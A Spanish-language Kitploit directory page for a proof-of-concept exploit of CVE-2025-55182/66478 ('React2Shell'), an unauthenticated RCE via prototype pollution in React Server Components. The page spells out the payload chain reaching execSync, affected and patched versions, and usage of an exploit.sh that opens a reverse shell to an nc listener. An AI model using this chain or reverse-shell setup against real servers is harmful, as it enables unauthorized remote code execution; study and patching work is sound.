Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-66478-PoC-Reverse-Shell — Prueba de concepto de explotación para CVE-2025-55182/66478, una RCE por deserialización de React Server Components, que entrega una reverse shell mediante una solicitud multipart manipulada. | Kitploit
Herramientas/GitHubGitHub/jotaespig/cve-2025-66478-poc-reverse-shell
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubjotaespig/cve-2025-66478-poc-reverse-shell

CVE-2025-66478-PoC-Reverse-Shell

Prueba de concepto de explotación para CVE-2025-55182/66478, una RCE por deserialización de React Server Components, que entrega una reverse shell mediante una solicitud multipart manipulada.

Ver Repositorio
1hace 9h 8mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-66478 / CVE-2025-55182 ("React2Shell") — PoC de RCE por Deserialización de Server Actions en RSC

Prueba de concepto de explotación para CVE-2025-55182 — apodado públicamente "React2Shell" — una vulnerabilidad de contaminación de prototipos del lado del servidor en la deserialización de Server Actions de React Server Components (react-server-dom-webpack / -parcel / -turbopack), que Next.js rastreó bajo el ID CVE-2025-66478 (rechazado por NVD como duplicado, pero sigue siendo el identificador comúnmente utilizado al discutir el impacto del fallo en Next.js específicamente).

Una única solicitud HTTP multipart manipulada contamina Object.prototype y recorre la cadena de prototipos para alcanzar el constructor Function, permitiendo a un atacante no autenticado ejecutar código Node.js arbitrario en el proceso del servidor — CVSS 10/10.

Detalles de la vulnerabilidad

Causa raíz. El deserializador de respuestas de acciones RSC (requireModule) resuelve rutas de objetos enviadas por el cliente (p. ej. "$1:__proto__:then") sin validar que la clave objetivo no sea una reservada/peligrosa como __proto__. Establecer __proto__ en un objeto plano contamina Object.prototype en sí mismo, por lo que cada objeto creado posteriormente hereda la propiedad controlada por el atacante.

Cadena de explotación.

  1. then → "$1:__proto__:then" — alcanzar la cadena de prototipos.
  2. _response._formData.get → "$1:constructor:constructor" — recorrer desde el prototipo contaminado hasta el constructor Function.
  3. _response._prefix — cadena controlada por el atacante, insertada en código que se ejecuta cuando el servidor intenta resolver el "thenable" fabricado (un objeto falso similar a Promise). Este PoC lo establece en process.mainModule.require('child_process').execSync('<cmd>').
  4. La carga útil se envía como dos campos multipart (0, 1) en un POST a la raíz de la aplicación con un encabezado Next-Action, que enruta la solicitud directamente al manejador vulnerable de Server Actions.

Versiones afectadas (según el informe de Datadog):

BibliotecaVulnerableParcheada
react-server-dom-parcel19.0 – 19.2.019.0.1, 19.1.2, 19.2.1
react-server-dom-webpack19.0 – 19.2.019.0.1, 19.1.2, 19.2.1
react-server-dom-turbopack19.0 – 19.2.019.0.1, 19.1.2, 19.2.1

Next.js se ve afectado en 15.x, 16.x y 14.3.0-canary.77+ cuando se usa el App Router. Parcheado en 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 y 16.0.7.

Aviso legal

Solo para pruebas de seguridad autorizadas y uso educativo (p. ej. laboratorios CTF/HTB, tu propia infraestructura o compromisos con autorización escrita). No ejecutes esto contra sistemas que no poseas o para los que no tengas permiso explícito de prueba.

Requisitos

  • curl
  • bash
  • Un listener en la máquina del atacante (p. ej. nc -lvnp <puerto>) a menos que proporciones tu propio comando mediante -c
  • El objetivo debe ejecutar busybox nc (o ajusta -c a cualquier utilidad de shell disponible en el objetivo) para que el comando de shell inverso predeterminado funcione

Uso

root@kitploit:~
chmod +x exploit.sh
./exploit.sh -t <objetivo> -L <puerto_local> [opciones]
BanderaRequeridaDescripción
-t, --targetsíHost/IP del objetivo que ejecuta la app Next.js vulnerable
-L, --lportsí*Puerto local al que está vinculado tu listener
-p, --portnoPuerto del objetivo (predeterminado: 3000)
-l, --lhostnoTu IP para el callback (predeterminado: detección automática)
-i, --ifacenoInterfaz para auto-detectar --lhost
-c, --commandnoComando personalizado para ejecutar en el objetivo (anula el shell inverso predeterminado)
--timeoutnoTiempo de espera de la solicitud curl en segundos (predeterminado: 3)
-v, --verbosenoImprimir detalles de solicitud/respuesta
-h, --helpnoMostrar ayuda

* no requerida si se proporciona -c/--command en su lugar.

Ejemplo

root@kitploit:~
# 1) iniciar un listener
rlwrap nc -lvnp 9090

# 2) activar el exploit
./exploit.sh -t 10.129.245.214 -L 9090

Referencias

  • CVE-2025-55182 "React2Shell": Remote Code Execution in React Server Components — Datadog Security Labs
Descargar herramienta